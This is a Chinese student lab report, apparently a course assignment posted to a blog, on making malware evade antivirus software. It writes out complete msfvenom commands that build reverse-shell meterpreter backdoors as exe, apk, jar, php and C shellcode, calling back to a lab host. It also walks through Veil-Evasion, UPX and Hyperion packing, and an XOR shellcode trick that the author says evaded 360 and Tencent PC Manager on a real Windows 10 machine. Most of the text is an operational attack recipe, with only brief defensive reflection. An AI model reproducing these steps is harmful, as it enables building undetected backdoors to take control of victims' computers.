标签:情况下 ota 复制 report 日志 通用 编程 默认参数 article
1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)
1.2 通过组合应用各种技术实现恶意代码免杀(0.5分)(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)
(1)杀软是如何检测出恶意代码的?
杀毒软件一般是通过以下三种检测方法来检测恶意代码的:
(3)免杀的基本方法有哪些?
(2)操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度。理所当然,所有AV厂家都盯着呢,一有新编码算法,马上就得加到特征库里呀。
有关msfvenom的参数与使用:
实验二中生成的后门程序5114_backdoor.exe
就是使用msfvenom生成的,将其放入virstotal和virscan.org分别进行检测,结果:
现在我们试试用msf编码一次和编码十次,看看是否有区别。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.1.166 LPORT=5114 -f exe >5114_encode.exe
i
,次数为10:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.1.166 LPORT=5114 -f exe >5114_encode_10.exe
。我们发现,并没有什么实质性的变化,即使多编码几次仍然能检测出恶意代码,因为AV厂商也不傻,他们研究的是编码器本身,shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,只要盯住这部分就可以了。
还有模板。模板就是msfvenom用来生成最终Exe的那个壳子exe文件,msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。曾经有一段时间,只要换了模板,就可以对所有AV免杀。现在这招不行了。所以一般来说AV厂商会针对其使用的模板来生成特征码,这样就一劳永逸地解决所有msfvenom生成的恶意代码了。那如果使用msfvenom免杀,就要使用原生的模板。
(1)msf生成apk文件
msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.1.166 lport=5114 x> 20165114_backdoor.apk
(2)msf生成jar文件
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.1.166 lport=5114 x> 20165114_backdoor_java.jar
(3)msfvenom生成php文件
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.166 lport=5114 x> 20165114_backdoor.php
以上生成的各个文件如下:
(4)msfvenom生成shellcode
msfvenom -p windows/meterpreter/reverse_http lhost=192.168.1.166 lport=5114 -f c
生成的shellcode如下:
Veil-Evasion是一个免杀平台,与Metasploit有点类似。Veil-evasion是用其他语言如c,c#,phython,ruby,go,powershell等重写了meterperter,然后再通过不同方式编译成exe,共性特征比较少。
展开对象
之后需要漫长的等待,而且后面也不一定能成功。提示为远端意外挂断了
,所以无法下载到veil的很多重要的文件,所以后面的安装也失败。最终我拷贝了其他同学的虚拟机,然后完成了实验。veil
,启动veil,可以看到可用的工具和命令。use 1
使用工具veil-Evasion。list payload
,列出可选择的各种payloads。use 6
,选择c/meterpreter.rev_http_service
。generate
,接着会让你给文件起一个名字,此处我命名为5114payload
,生成了一个可执行文件。可以看到它的语言、路径和源码位置。下面是一个半手工打造恶意软件的例子:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.166 LPORT=5114 -f c
。vim 20165114_shellcode327.c
生成一个.c文件,然后将刚刚生成的shellcode数组复制到该文件中,再加上一个主函数,如下图所示:.c
文件编译成可执行文件i686-w64-mingw32-g++ 20165114_shellcode327.exe -o 20165114_shellcode327.exe
,也可以用别的软件进行编译,我将该.c文件用win10的codeblocks编译后,生成了文件miansha.exe
。(所以不同的编译器编译会有区别吗???)20165114_shellcode327.exe
,给该文件加壳试试,使用命令upx 20165114_shellcode327.exe -o 5114_upx.exe
,再传送到主机,然后还是被杀软发现了.../usr/share/windows-binaries/hyperion
下,并使用命令:cd /usr/share/windows-binaries/hyperion/
进入目录,给文件加壳wine hperion.exe - 5114_upx.exe 5114_upx_Hyperion.exe
。(1)msfvenom生成shellcode。
(2)将shellcode与‘x‘进行异或,生成异或后的shellcode。
(3)将异或后的shellcode放入程序,该程序再将此shellcode异或一次,则实际上会还原为原来的shellcode,但不易被杀软检测到。
(4)用codeblocks编译该程序生成一个exe文件,即为该后门程序,我的电脑管家无法发现它。
miansha.exe
和加壳后的5114_upxed.exe
文件共存的截图,两者电脑管家都扫不出来:miansha.exe
和加壳后的5114_upxed.exe
文件放入virstotal检测一下看看,有惊喜。被控机:win10实体,装有360安全卫士最新版,IP地址为172.30.5.1
。
控制机:kali-2019,IP地址为172.30.5.164
。
两台主机能互相ping通,原本被控机IP地址和攻击者不在同一网段,对被控机进行设置后才在同一网段了。
当然不能绝对防止电脑中恶意代码,如上我们就实现了杀软和后门共存,我们通过学习都能制作出简单的免杀后门,更不要说别用有心的人更能制作出杀软无法查杀的后门等,侵入你的电脑啦。而且恶意代码的变形和创意千变万化,总是会有新的病毒出现,也总有新的入侵方法,很多杀毒软件也是在根据新的恶意代码的花样进行原理分析后才能不断更新进步的。
参考资料:如何利用十行代码,绕过杀毒软件实现免杀?
2018-2019-2 20165114《网络对抗技术》Exp3 免杀原理与实践
标签:情况下 ota 复制 report 日志 通用 编程 默认参数 article
原文地址:https://www.cnblogs.com/erinwhere/p/10623637.html